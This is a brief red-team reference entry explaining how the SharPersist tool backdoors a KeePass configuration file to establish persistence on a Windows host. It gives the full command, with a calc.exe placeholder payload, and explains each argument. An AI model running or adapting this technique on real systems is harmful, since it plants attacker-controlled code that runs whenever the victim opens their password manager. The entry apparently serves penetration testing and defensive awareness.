KeePass is a free open source password manager.
KeePass config file is backdoored by SharPersist by using 'SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add' where -t argument (persistence technique) keepass, -c argument (command to execute), -a argument to mask the previous command, along with the -f argument to create/ or modify the corresponding KeePass config file, ending with -m argument as method for (add, remove, check, list) add.
Usecase: Establishing persistence on a Windows host